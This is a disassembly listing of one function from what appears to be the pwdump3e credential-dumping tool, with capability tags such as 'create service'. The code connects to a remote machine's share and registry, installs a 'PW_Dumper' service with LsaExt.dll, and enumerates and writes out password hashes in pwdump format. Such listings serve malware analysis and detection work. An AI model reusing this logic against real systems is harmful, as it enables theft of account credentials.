Function at 0x4334c4
Capabilities:
Connect network resource
Create service
Delete file
Delete registry key
Delete service
Persist via windows service
Query or enumerate registry value
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xfffffa0c
push ebx
push esi
push edi
mov eax, 0x56efd4
call fcn.00528424
xor edx, edx
mov dword [ebp - 0x1cc], edx
xor ecx, ecx
mov dword [ebp - 0x1d0], ecx
xor eax, eax
mov dword [ebp - 0x1d4], eax
xor edx, edx
mov dword [ebp - 0x1d8], edx
xor ecx, ecx
mov dword [ebp - 0x1dc], ecx
mov dword [ebp - 0x1e0], str.SOFTWAREEbizhash
mov word [ebp - 0x1b8], 8
push 0
lea eax, [ebp - 0x154]
push eax
call fcn.00436c90
add esp, 8
add dword [ebp - 0x1ac], 0x15
mov word [ebp - 0x1b8], 0x14
mov eax, dword [ebp + 8]
jmp 0x433543
inc eax
movsx edx, byte [eax]
cmp edx, 0x5c
je 0x433542
push eax
push str._s
lea ecx, [ebp - 0x770]
push ecx
call fcn.0052c0e0
add esp, 0xc
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0x770]
lea ecx, [ebp - 0x874]
push eax
push edx
push str._s_s
push ecx
call fcn.0052c0e0
mov word [ebp - 0x1b8], 0x20
add esp, 0x10
mov word [ebp - 0x1b8], 0x20
xor ebx, ebx
xor esi, esi
cmp dword [ebp + 0x14], 0
je 0x4335a1
mov esi, dword [ebp + 0x14]
mov ebx, dword [ebp + 0x18]
mov dword [ebp - 0x890], 1
xor eax, eax
lea edx, [ebp - 0x874]
mov dword [ebp - 0x884], eax
mov dword [ebp - 0x880], edx
xor ecx, ecx
lea eax, [ebp - 0x894]
mov dword [ebp - 0x878], ecx
push 8
push esi
push ebx
push eax
call sub.MPR.DLL_WNetAddConnection2A
mov ebx, eax
test ebx, ebx
je 0x433684
mov dword [ebp - 0x1e4], ebx
lea edx, [ebp - 0x874]
push edx
xor ecx, ecx
mov word [ebp - 0x1b8], 0x2c
mov dword [ebp - 0x158], ecx
lea edx, [ebp - 0x158]
inc dword [ebp - 0x1ac]
mov eax, 0x4a3d
call fcn.0051100c
cmp dword [ebp - 0x158], 0
je 0x433626
mov ecx, dword [ebp - 0x158]
jmp 0x43362b
mov ecx, 0x56ed58
push ecx
lea eax, [ebp - 0x66c]
push eax
call fcn.0052c0e0
add esp, 0xc
dec dword [ebp - 0x1ac]
lea eax, [ebp - 0x158]
mov edx, 2
call fcn.005378b8
lea ecx, [ebp - 0x1c8]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x66c]
mov dword [ebp - 0x1e8], eax
lea edx, [ebp - 0x1e8]
push edx
push 0x433128
call fcn.005349e1
add esp, 0x24
mov ecx, dword [ebp + 0xc]
push ecx
lea eax, [ebp - 0x770]
push eax
call fcn.00433268
add esp, 8
mov ebx, eax
test eax, eax
je 0x433750
xor edx, edx
lea ecx, [ebp - 0x874]
mov dword [ebp - 0x1e4], edx
push ecx
mov word [ebp - 0x1b8], 0x38
xor eax, eax
lea edx, [ebp - 0x15c]
mov dword [ebp - 0x15c], eax
inc dword [ebp - 0x1ac]
inc ebx
jne 0x4336d7
mov eax, 0x32cf
jmp 0x4336dc
mov eax, 0x32d0
call fcn.0051100c
cmp dword [ebp - 0x15c], 0
je 0x4336f2
mov edx, dword [ebp - 0x15c]
jmp 0x4336f7
mov edx, 0x56ed59
push edx
lea eax, [ebp - 0x66c]
push eax
call fcn.0052c0e0
add esp, 0xc
dec dword [ebp - 0x1ac]
lea eax, [ebp - 0x15c]
mov edx, 2
call fcn.005378b8
lea ecx, [ebp - 0x1c8]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x66c]
mov dword [ebp - 0x1ec], eax
lea edx, [ebp - 0x1ec]
push edx
push 0x433128
call fcn.005349e1
add esp, 0x24
lea ecx, [ebp - 0x1d8]
push ecx
push SysStringLen
lea eax, [ebp - 0x770]
call fcn.00448b7c
test al, al
je 0x43376f
xor edx, edx
jmp 0x433775
lea edx, [ebp - 0x770]
push edx
call sub.ADVAPI32.DLL_RegConnectRegistryA
mov dword [ebp - 0x1e4], eax
test eax, eax
je 0x433826
lea ecx, [ebp - 0x770]
xor eax, eax
push ecx
lea edx, [ebp - 0x160]
mov word [ebp - 0x1b8], 0x44
mov dword [ebp - 0x160], eax
mov eax, 0x1782
inc dword [ebp - 0x1ac]
call fcn.0051100c
cmp dword [ebp - 0x160], 0
je 0x4337c8
mov edx, dword [ebp - 0x160]
jmp 0x4337cd
mov edx, 0x56ed5a
push edx
lea eax, [ebp - 0x66c]
push eax
call fcn.0052c0e0
add esp, 0xc
dec dword [ebp - 0x1ac]
lea eax, [ebp - 0x160]
mov edx, 2
call fcn.005378b8
lea ecx, [ebp - 0x1c8]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x66c]
mov dword [ebp - 0x1f0], eax
lea edx, [ebp - 0x1f0]
push edx
push 0x433128
call fcn.005349e1
add esp, 0x24
push 0
lea ecx, [ebp - 0x1dc]
push ecx
push 0
push 0xf003f
push 1
push 0
push 0
mov eax, dword [ebp - 0x1e0]
push eax
mov edx, dword [ebp - 0x1d8]
push edx
call sub.ADVAPI32.DLL_RegCreateKeyExA
mov dword [ebp - 0x1e4], eax
test eax, eax
je 0x4338fa
lea edx, [ebp - 0x770]
xor ecx, ecx
push edx
lea edx, [ebp - 0x164]
mov word [ebp - 0x1b8], 0x50
mov dword [ebp - 0x164], ecx
mov eax, 0x36b1
inc dword [ebp - 0x1ac]
call fcn.0051100c
cmp dword [ebp - 0x164], 0
je 0x43389c
mov ecx, dword [ebp - 0x164]
jmp 0x4338a1
mov ecx, 0x56ed5b
push ecx
lea eax, [ebp - 0x66c]
push eax
call fcn.0052c0e0
add esp, 0xc
dec dword [ebp - 0x1ac]
lea eax, [ebp - 0x164]
mov edx, 2
call fcn.005378b8
lea ecx, [ebp - 0x1c8]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x66c]
mov dword [ebp - 0x1f4], eax
lea edx, [ebp - 0x1f4]
push edx
push 0x433128
call fcn.005349e1
add esp, 0x24
push 0x40
lea ecx, [ebp - 0x154]
push ecx
call fcn.00436e4c
pop ecx
push eax
push 3
push 0
push 0x56ed5c
mov eax, dword [ebp - 0x1dc]
push eax
call sub.ADVAPI32.DLL_RegSetValueExA
mov dword [ebp - 0x1e4], eax
test eax, eax
je 0x4339ca
lea edx, [ebp - 0x770]
xor ecx, ecx
push edx
lea edx, [ebp - 0x168]
mov word [ebp - 0x1b8], 0x5c
mov dword [ebp - 0x168], ecx
mov eax, 0x36b2
inc dword [ebp - 0x1ac]
call fcn.0051100c
cmp dword [ebp - 0x168], 0
je 0x43396c
mov ecx, dword [ebp - 0x168]
jmp 0x433971
mov ecx, 0x56ed60
push ecx
lea eax, [ebp - 0x66c]
push eax
call fcn.0052c0e0
add esp, 0xc
dec dword [ebp - 0x1ac]
lea eax, [ebp - 0x168]
mov edx, 2
call fcn.005378b8
lea ecx, [ebp - 0x1c8]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x66c]
mov dword [ebp - 0x1f8], eax
lea edx, [ebp - 0x1f8]
push edx
push 0x433128
call fcn.005349e1
add esp, 0x24
push 0x104
lea ecx, [ebp - 0x998]
push ecx
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0x5c
lea eax, [ebp - 0x998]
push eax
call fcn.00528039
add esp, 8
inc eax
mov edi, eax
mov esi, str.Datapwdump3eLsaExt.dll
mov eax, edi
mov ecx, 6
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor eax, eax
lea edi, [ebp - 0x874]
or ecx, 0xffffffff
lea esi, [ebp - 0xa9c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
xchg edi, esi
shr ecx, 2
mov eax, edi
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 0xa9c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push str.LsaExt.dll
push eax
call fcn.00527e90
add esp, 8
push 0x56ed86
lea edx, [ebp - 0x998]
push edx
call fcn.0052a49c
add esp, 8
mov ebx, eax
mov word [ebp - 0x1b8], 0x20
test ebx, ebx
jne 0x433b0c
call sub.KERNEL32.DLL_GetLastError
mov dword [ebp - 0x1e4], eax
lea eax, [ebp - 0x998]
push eax
xor edx, edx
mov word [ebp - 0x1b8], 0x68
mov dword [ebp - 0x16c], edx
lea edx, [ebp - 0x16c]
inc dword [ebp - 0x1ac]
mov eax, 0x32ca
call fcn.0051100c
cmp dword [ebp - 0x16c], 0
je 0x433aae
mov ecx, dword [ebp - 0x16c]
jmp 0x433ab3
mov ecx, 0x56ed89
push ecx
lea eax, [ebp - 0x66c]
push eax
call fcn.0052c0e0
add esp, 0xc
dec dword [ebp - 0x1ac]
lea eax, [ebp - 0x16c]
mov edx, 2
call fcn.005378b8
lea ecx, [ebp - 0x1c8]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x66c]
mov dword [ebp - 0x1fc], eax
lea edx, [ebp - 0x1fc]
push edx
push 0x433128
call fcn.005349e1
add esp, 0x24
push 0x56ed8a
lea ecx, [ebp - 0xa9c]
push ecx
call fcn.0052a49c
add esp, 8
mov esi, eax
mov word [ebp - 0x1b8], 0x20
test esi, esi
jne 0x433bf7
call sub.KERNEL32.DLL_GetLastError
mov dword [ebp - 0x1e4], eax
lea eax, [ebp - 0xa9c]
push eax
xor edx, edx
mov word [ebp - 0x1b8], 0x74
mov dword [ebp - 0x170], edx
lea edx, [ebp - 0x170]
inc dword [ebp - 0x1ac]
mov eax, 0x32c9
call fcn.0051100c
cmp dword [ebp - 0x170], 0
je 0x433b7d
mov ecx, dword [ebp - 0x170]
jmp 0x433b82
mov ecx, 0x56ed8d
push ecx
lea eax, [ebp - 0x66c]
push eax
call fcn.0052c0e0
add esp, 0xc
dec dword [ebp - 0x1ac]
lea eax, [ebp - 0x170]
mov edx, 2
call fcn.005378b8
push ebx
call fcn.00529fd4
pop ecx
lea eax, [ebp - 0x66c]
lea ecx, [ebp - 0x1c8]
lea edx, [ebp - 0x200]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
mov dword [ebp - 0x200], eax
push edx
push 0x433128
call fcn.005349e1
add esp, 0x24
jmp 0x433bf7
push esi
push edi
push 1
lea ecx, [ebp - 0xe9c]
push ecx
call fcn.0052a994
add esp, 0x10
push ebx
push 0x400
push 1
lea eax, [ebp - 0xe9c]
push eax
call fcn.0052a714
add esp, 0x10
mov edi, eax
test eax, eax
jne 0x433be4
push ebx
call fcn.00529fd4
pop ecx
push esi
call fcn.00529fd4
pop ecx
push 0x5c
lea edx, [ebp - 0x998]
push edx
call fcn.00528039
add esp, 8
inc eax
mov edi, eax
mov esi, 0x56ed8e
mov eax, edi
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor eax, eax
lea edi, [ebp - 0xa9c]
or ecx, 0xffffffff
lea esi, [ebp - 0xfa0]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
xchg edi, esi
shr ecx, 2
mov eax, edi
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 0xfa0]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x5c
push eax
call fcn.00528039
add esp, 8
inc eax
mov edi, eax
mov esi, 0x56ed9c
mov eax, edi
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x56edaa
lea edx, [ebp - 0x998]
push edx
call fcn.0052a49c
add esp, 8
mov ebx, eax
test ebx, ebx
jne 0x433d65
call sub.KERNEL32.DLL_GetLastError
mov dword [ebp - 0x1e4], eax
lea eax, [ebp - 0x998]
push eax
xor edx, edx
mov word [ebp - 0x1b8], 0x80
mov dword [ebp - 0x174], edx
lea edx, [ebp - 0x174]
inc dword [ebp - 0x1ac]
mov eax, 0x32ca
call fcn.0051100c
cmp dword [ebp - 0x174], 0
je 0x433cfb
mov ecx, dword [ebp - 0x174]
jmp 0x433d00
mov ecx, 0x56edad
push ecx
lea eax, [ebp - 0x66c]
push eax
call fcn.0052c0e0
add esp, 0xc
dec dword [ebp - 0x1ac]
lea eax, [ebp - 0x174]
mov edx, 2
call fcn.005378b8
lea ecx, [ebp - 0xa9c]
push ecx
call sub.KERNEL32.DLL_DeleteFileA
lea eax, [ebp - 0x1c8]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x66c]
mov dword [ebp - 0x204], edx
lea ecx, [ebp - 0x204]
push ecx
push 0x433128
call fcn.005349e1
add esp, 0x24
push 0x56edae
lea eax, [ebp - 0xfa0]
push eax
call fcn.0052a49c
add esp, 8
mov esi, eax
test esi, esi
jne 0x433e53
call sub.KERNEL32.DLL_GetLastError
mov dword [ebp - 0x1e4], eax
lea eax, [ebp - 0xfa0]
push eax
xor edx, edx
mov word [ebp - 0x1b8], 0x8c
mov dword [ebp - 0x178], edx
lea edx, [ebp - 0x178]
inc dword [ebp - 0x1ac]
mov eax, 0x32c9
call fcn.0051100c
cmp dword [ebp - 0x178], 0
je 0x433dcd
mov ecx, dword [ebp - 0x178]
jmp 0x433dd2
mov ecx, 0x56edb1
push ecx
lea eax, [ebp - 0x66c]
push eax
call fcn.0052c0e0
add esp, 0xc
dec dword [ebp - 0x1ac]
lea eax, [ebp - 0x178]
mov edx, 2
call fcn.005378b8
push ebx
call fcn.00529fd4
pop ecx
lea ecx, [ebp - 0xa9c]
push ecx
call sub.KERNEL32.DLL_DeleteFileA
lea eax, [ebp - 0x1c8]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x66c]
mov dword [ebp - 0x208], edx
lea ecx, [ebp - 0x208]
push ecx
push 0x433128
call fcn.005349e1
add esp, 0x24
jmp 0x433e53
push esi
push edi
push 1
lea eax, [ebp - 0xe9c]
push eax
call fcn.0052a994
add esp, 0x10
push ebx
push 0x400
push 1
lea edx, [ebp - 0xe9c]
push edx
call fcn.0052a714
add esp, 0x10
mov edi, eax
test eax, eax
jne 0x433e40
push ebx
call fcn.00529fd4
pop ecx
push esi
call fcn.00529fd4
pop ecx
push 2
push 0
lea edx, [ebp - 0x770]
push edx
call sub.ADVAPI32.DLL_OpenSCManagerA
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 0
jne 0x433f5a
call sub.KERNEL32.DLL_GetLastError
mov dword [ebp - 0x1e4], eax
xor ecx, ecx
mov word [ebp - 0x1b8], 0x98
mov dword [ebp - 0x17c], ecx
mov eax, 0x32cb
inc dword [ebp - 0x1ac]
lea edx, [ebp - 0x17c]
call fcn.0051100c
cmp dword [ebp - 0x17c], 0
je 0x433ee4
mov ecx, dword [ebp - 0x17c]
jmp 0x433ee9
mov ecx, 0x56edb2
push ecx
lea eax, [ebp - 0x66c]
push eax
call fcn.0052c0e0
add esp, 8
dec dword [ebp - 0x1ac]
lea eax, [ebp - 0x17c]
mov edx, 2
call fcn.005378b8
lea ecx, [ebp - 0xa9c]
push ecx
call sub.KERNEL32.DLL_DeleteFileA
lea eax, [ebp - 0xfa0]
push eax
call sub.KERNEL32.DLL_DeleteFileA
lea edx, [ebp - 0x1c8]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x66c]
mov dword [ebp - 0x20c], ecx
lea eax, [ebp - 0x20c]
push eax
push 0x433128
call fcn.005349e1
add esp, 0x24
lea edx, [ebp - 0x10a4]
push edx
mov ecx, dword [ebp + 0xc]
push ecx
lea eax, [ebp - 0x770]
push eax
call fcn.00433148
add esp, 0xc
test al, al
je 0x433f8e
push 0x56edb3
lea edx, [ebp - 0x10a4]
push edx
call fcn.00527e90
add esp, 8
jmp 0x433f95
mov byte [ebp - 0x10a4], 0
push 0
push 0
push 0
push 0
push 0
mov edx, str.pwservice.exe
mov word [ebp - 0x1b8], 0xa4
lea eax, [ebp - 0x184]
call fcn.00537758
inc dword [ebp - 0x1ac]
lea ecx, [ebp - 0x184]
push ecx
lea edx, [ebp - 0x10a4]
lea eax, [ebp - 0x180]
call fcn.00537758
inc dword [ebp - 0x1ac]
xor ecx, ecx
mov dword [ebp - 0x188], ecx
lea ecx, [ebp - 0x188]
inc dword [ebp - 0x1ac]
pop edx
call fcn.00537910
cmp dword [ebp - 0x188], 0
je 0x434007
mov eax, dword [ebp - 0x188]
jmp 0x43400c
mov eax, 0x56edd7
push eax
push 0
push 3
push 0x10
push 0xf01ff
push str.PW_Dumper
push 0x56edb5
mov edx, dword [ebp - 0x1d0]
push edx
call sub.ADVAPI32.DLL_CreateServiceA
mov dword [ebp - 0x1d4], eax
dec dword [ebp - 0x1ac]
lea eax, [ebp - 0x188]
mov edx, 2
call fcn.005378b8
dec dword [ebp - 0x1ac]
lea eax, [ebp - 0x184]
mov edx, 2
call fcn.005378b8
dec dword [ebp - 0x1ac]
lea eax, [ebp - 0x180]
mov edx, 2
call fcn.005378b8
cmp dword [ebp - 0x1d4], 0
jne 0x434165
push 0xf01ff
push str.pwservice
mov ecx, dword [ebp - 0x1d0]
push ecx
call sub.ADVAPI32.DLL_OpenServiceA
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0
jne 0x434165
call sub.KERNEL32.DLL_GetLastError
mov dword [ebp - 0x1e4], eax
xor eax, eax
mov word [ebp - 0x1b8], 0xb0
mov dword [ebp - 0x18c], eax
mov eax, 0x32cc
inc dword [ebp - 0x1ac]
lea edx, [ebp - 0x18c]
call fcn.0051100c
cmp dword [ebp - 0x18c], 0
je 0x4340ef
mov edx, dword [ebp - 0x18c]
jmp 0x4340f4
mov edx, 0x56ede2
push edx
lea eax, [ebp - 0x66c]
push eax
call fcn.0052c0e0
add esp, 8
dec dword [ebp - 0x1ac]
lea eax, [ebp - 0x18c]
mov edx, 2
call fcn.005378b8
lea ecx, [ebp - 0xa9c]
push ecx
call sub.KERNEL32.DLL_DeleteFileA
lea eax, [ebp - 0xfa0]
push eax
call sub.KERNEL32.DLL_DeleteFileA
lea edx, [ebp - 0x1c8]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x66c]
mov dword [ebp - 0x210], ecx
lea eax, [ebp - 0x210]
push eax
push 0x433128
call fcn.005349e1
add esp, 0x24
mov edx, dword [ebp - 0x1e0]
mov dword [ebp - 0x214], edx
lea ecx, [ebp - 0x214]
push ecx
push 1
mov eax, dword [ebp - 0x1d4]
push eax
call sub.ADVAPI32.DLL_StartServiceA
test eax, eax
jne 0x4341eb
mov word [ebp - 0x1b8], 0xbc
xor edx, edx
mov eax, 0x32cd
mov dword [ebp - 0x190], edx
lea edx, [ebp - 0x190]
inc dword [ebp - 0x1ac]
call fcn.0051100c
cmp dword [ebp - 0x190], 0
je 0x4341c2
mov ecx, dword [ebp - 0x190]
jmp 0x4341c7
mov ecx, 0x56ede3
push ecx
call sub.KERNEL32.DLL_GetLastError
mov edx, eax
pop eax
call fcn.0044a7e0
dec dword [ebp - 0x1ac]
lea eax, [ebp - 0x190]
mov edx, 2
call fcn.005378b8
mov word [ebp - 0x1b8], 0x20
push 0x64
call sub.KERNEL32.DLL_Sleep
lea ecx, [ebp - 0xfa0]
push ecx
call sub.KERNEL32.DLL_DeleteFileA
test eax, eax
jne 0x43420d
jmp 0x4341f4
lea eax, [ebp - 0xa9c]
push eax
call sub.KERNEL32.DLL_DeleteFileA
test eax, eax
jne 0x43427e
mov word [ebp - 0x1b8], 0xc8
xor edx, edx
mov eax, 0x32ce
mov dword [ebp - 0x194], edx
lea edx, [ebp - 0x194]
inc dword [ebp - 0x1ac]
call fcn.0051100c
cmp dword [ebp - 0x194], 0
je 0x434255
mov ecx, dword [ebp - 0x194]
jmp 0x43425a
mov ecx, 0x56ede4
push ecx
call sub.KERNEL32.DLL_GetLastError
mov edx, eax
pop eax
call fcn.0044a7e0
dec dword [ebp - 0x1ac]
lea eax, [ebp - 0x194]
mov edx, 2
call fcn.005378b8
call fcn.0043337c
test eax, eax
jne 0x434331
call sub.KERNEL32.DLL_GetLastError
mov dword [ebp - 0x1e4], eax
push str.CryptAcquireContext
mov word [ebp - 0x1b8], 0xd4
xor ecx, ecx
mov eax, 0x2338
mov dword [ebp - 0x198], ecx
lea edx, [ebp - 0x198]
inc dword [ebp - 0x1ac]
call fcn.0051100c
cmp dword [ebp - 0x198], 0
je 0x4342d3
mov ecx, dword [ebp - 0x198]
jmp 0x4342d8
mov ecx, 0x56edf9
push ecx
lea eax, [ebp - 0x66c]
push eax
call fcn.0052c0e0
add esp, 0xc
dec dword [ebp - 0x1ac]
lea eax, [ebp - 0x198]
mov edx, 2
call fcn.005378b8
lea ecx, [ebp - 0x1c8]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x66c]
mov dword [ebp - 0x218], eax
lea edx, [ebp - 0x218]
push edx
push 0x433128
call fcn.005349e1
add esp, 0x24
xor ecx, ecx
xor eax, eax
mov dword [ebp - 0x21c], ecx
lea edx, [ebp - 0x22c]
mov word [ebp - 0x1b8], 0x20
mov dword [ebp - 0x224], 0x400
mov dword [ebp - 0x228], eax
lea ecx, [ebp - 0x15a4]
mov dword [ebp - 0x22c], 0x100
push edx
push ecx
lea eax, [ebp - 0x228]
push eax
push 0
push 0x56edfa
mov edx, dword [ebp - 0x1dc]
push edx
call sub.ADVAPI32.DLL_RegQueryValueExA
mov dword [ebp - 0x1e4], eax
test eax, eax
je 0x434431
lea edx, [ebp - 0x770]
xor ecx, ecx
push edx
lea edx, [ebp - 0x19c]
mov word [ebp - 0x1b8], 0xe0
mov dword [ebp - 0x19c], ecx
mov eax, 0x4a3c
inc dword [ebp - 0x1ac]
call fcn.0051100c
cmp dword [ebp - 0x19c], 0
je 0x4343d3
mov ecx, dword [ebp - 0x19c]
jmp 0x4343d8
mov ecx, 0x56edfe
push ecx
lea eax, [ebp - 0x66c]
push eax
call fcn.0052c0e0
add esp, 0xc
dec dword [ebp - 0x1ac]
lea eax, [ebp - 0x19c]
mov edx, 2
call fcn.005378b8
lea ecx, [ebp - 0x1c8]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x66c]
mov dword [ebp - 0x230], eax
lea edx, [ebp - 0x230]
push edx
push 0x433128
call fcn.005349e1
add esp, 0x24
lea ecx, [ebp - 0x15a4]
push ecx
lea eax, [ebp - 0x154]
push eax
call fcn.00436e8c
add esp, 8
mov dword [ebp - 0x234], eax
mov word [ebp - 0x1b8], 0x20
mov dword [ebp - 0x22c], 0x100
push 0x56edff
mov edx, dword [ebp + 0x10]
push edx
call fcn.0052a49c
add esp, 8
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0
jne 0x43478e
call sub.KERNEL32.DLL_GetLastError
mov dword [ebp - 0x1e4], eax
xor eax, eax
mov ecx, dword [ebp + 0x10]
lea edx, [ebp - 0x1a0]
push ecx
mov word [ebp - 0x1b8], 0xec
mov dword [ebp - 0x1a0], eax
mov eax, 0x32c9
inc dword [ebp - 0x1ac]
call fcn.0051100c
cmp dword [ebp - 0x1a0], 0
je 0x4344cb
mov edx, dword [ebp - 0x1a0]
jmp 0x4344d0
mov edx, 0x56ee01
push edx
lea eax, [ebp - 0x66c]
push eax
call fcn.0052c0e0
add esp, 0xc
dec dword [ebp - 0x1ac]
lea eax, [ebp - 0x1a0]
mov edx, 2
call fcn.005378b8
lea ecx, [ebp - 0x1c8]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x66c]
mov dword [ebp - 0x238], eax
lea edx, [ebp - 0x238]
push edx
push 0x433128
call fcn.005349e1
add esp, 0x24
jmp 0x43478e
cmp dword [ebp - 0x228], 3
jne 0x434774
push 0x3a
lea ecx, [ebp - 0x14a4]
push ecx
call fcn.0052802d
add esp, 8
mov dword [ebp - 0x220], eax
test eax, eax
je 0x434774
push 0
mov edx, dword [ebp - 0x234]
push edx
inc dword [ebp - 0x220]
mov ebx, dword [ebp - 0x220]
push ebx
call fcn.0052fbd8
pop ecx
push eax
lea eax, [ebp - 0x22c]
push eax
lea edx, [ebp - 0x15a4]
push edx
call fcn.004333f0
add esp, 0x14
test eax, eax
jne 0x43463a
xor ecx, ecx
lea eax, [ebp - 0x770]
mov dword [ebp - 0x1e4], ecx
push eax
mov word [ebp - 0x1b8], 0xf8
xor edx, edx
mov eax, 0x36b3
mov dword [ebp - 0x1a4], edx
lea edx, [ebp - 0x1a4]
inc dword [ebp - 0x1ac]
call fcn.0051100c
cmp dword [ebp - 0x1a4], 0
je 0x4345dc
mov ecx, dword [ebp - 0x1a4]
jmp 0x4345e1
mov ecx, 0x56ee02
push ecx
lea eax, [ebp - 0x66c]
push eax
call fcn.0052c0e0
add esp, 0xc
dec dword [ebp - 0x1ac]
lea eax, [ebp - 0x1a4]
mov edx, 2
call fcn.005378b8
lea ecx, [ebp - 0x1c8]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x66c]
mov dword [ebp - 0x23c], eax
lea edx, [ebp - 0x23c]
push edx
push 0x433128
call fcn.005349e1
add esp, 0x24
lea ecx, [ebp - 0x15a4]
mov dword [ebp - 0x240], ecx
mov word [ebp - 0x1b8], 0x20
mov eax, dword [ebp - 0x240]
cmp dword [eax + 0x10], 0x35b4d3aa
jne 0x4346a1
mov edx, dword [ebp - 0x240]
cmp dword [edx + 0x14], 0xee0414b5
jne 0x4346a1
mov ecx, dword [ebp - 0x240]
cmp dword [ecx + 0x18], 0x35b4d3aa
jne 0x4346a1
mov eax, dword [ebp - 0x240]
cmp dword [eax + 0x1c], 0xee0414b5
jne 0x4346a1
push 0x56ee03
lea edx, [ebp - 0x15cc]
push edx
call fcn.0052c0e0
add esp, 8
jmp 0x4346cf
mov esi, 0x10
lea edi, [ebp - 0x15cc]
lea ebx, [ebp - 0x1594]
xor eax, eax
mov al, byte [ebx]
push eax
push 0x56ee24
push edi
call fcn.0052c0e0
add esp, 0xc
inc ebx
inc esi
add edi, 2
cmp esi, 0x20
jl 0x4346b2
mov edx, dword [ebp - 0x240]
cmp dword [edx], 0xe0cfd631
jne 0x434720
mov ecx, dword [ebp - 0x240]
cmp dword [ecx + 4], 0x31e96ad1
jne 0x434720
mov eax, dword [ebp - 0x240]
cmp dword [eax + 8], 0xd7593cb7
jne 0x434720
mov edx, dword [ebp - 0x240]
cmp dword [edx + 0xc], 0xc089c0e0
jne 0x434720
push 0x56ee29
lea ecx, [ebp - 0x15f4]
push ecx
call fcn.0052c0e0
add esp, 8
jmp 0x43474b
xor esi, esi
lea edi, [ebp - 0x15f4]
lea ebx, [ebp - 0x15a4]
xor eax, eax
mov al, byte [ebx]
push eax
push 0x56ee4a
push edi
call fcn.0052c0e0
add esp, 0xc
inc ebx
inc esi
add edi, 2
cmp esi, 0x10
jl 0x43472e
lea edx, [ebp - 0x15f4]
push edx
lea ecx, [ebp - 0x15cc]
push ecx
lea eax, [ebp - 0x14a4]
push eax
push str._s:_s:_s:::_n
mov edx, dword [ebp - 0x1cc]
push edx
call fcn.0052a4d0
add esp, 0x14
mov dword [ebp - 0x224], 0x400
mov dword [ebp - 0x22c], 0x100
inc dword [ebp - 0x21c]
lea ecx, [ebp - 0x22c]
lea eax, [ebp - 0x15a4]
push ecx
push eax
lea edx, [ebp - 0x228]
lea ecx, [ebp - 0x224]
push edx
push 0
push ecx
lea eax, [ebp - 0x14a4]
push eax
mov edx, dword [ebp - 0x21c]
push edx
mov ecx, dword [ebp - 0x1dc]
push ecx
call sub.ADVAPI32.DLL_RegEnumValueA
test eax, eax
je 0x43452e
lea eax, [ebp - 0x1c8]
push eax
push 0
push 0
push 1
push 0
push 0
push 0
xor edx, edx
mov dword [ebp - 0x244], edx
lea ecx, [ebp - 0x244]
push ecx
push 0x43313c
call fcn.005349e1
add esp, 0x24
call fcn.004333c8
cmp dword [ebp - 0x1cc], 0
je 0x434818
mov eax, dword [ebp - 0x1cc]
push eax
call fcn.00529fd4
pop ecx
cmp dword [ebp - 0x1dc], 0
je 0x43482d
mov edx, dword [ebp - 0x1dc]
push edx
call sub.ADVAPI32.DLL_RegCloseKey
cmp dword [ebp - 0x1d8], 0
je 0x434855
mov ecx, dword [ebp - 0x1e0]
push ecx
mov eax, dword [ebp - 0x1d8]
push eax
call sub.ADVAPI32.DLL_RegDeleteKeyA
mov edx, dword [ebp - 0x1d8]
push edx
call sub.ADVAPI32.DLL_RegCloseKey
cmp dword [ebp - 0x1d4], 0
je 0x434876
mov ecx, dword [ebp - 0x1d4]
push ecx
call sub.ADVAPI32.DLL_DeleteService
mov eax, dword [ebp - 0x1d4]
push eax
call sub.ADVAPI32.DLL_CloseServiceHandle
cmp dword [ebp - 0x1d0], 0
je 0x43488b
mov edx, dword [ebp - 0x1d0]
push edx
call sub.ADVAPI32.DLL_CloseServiceHandle
push 0
push 0
lea ecx, [ebp - 0x874]
push ecx
call sub.MPR.DLL_WNetCancelConnection2A
cmp dword [ebp - 4], 0
je 0x434aa8
mov edx, dword [ebp - 0x1e4]
mov eax, dword [ebp - 4]
call fcn.0044a7e0
or eax, 0xffffffff
push eax
dec dword [ebp - 0x1ac]
dec dword [ebp - 0x1ac]
dec dword [ebp - 0x1ac]
mov edx, dword [ebp - 0x154]
sub dword [edx - 4], 0xe0
mov ecx, dword [ebp - 0x150]
sub dword [ecx - 4], 0xe0
dec dword [ebp - 0x1ac]
dec dword [ebp - 0x1ac]
dec dword [ebp - 0x1ac]
dec dword [ebp - 0x1ac]
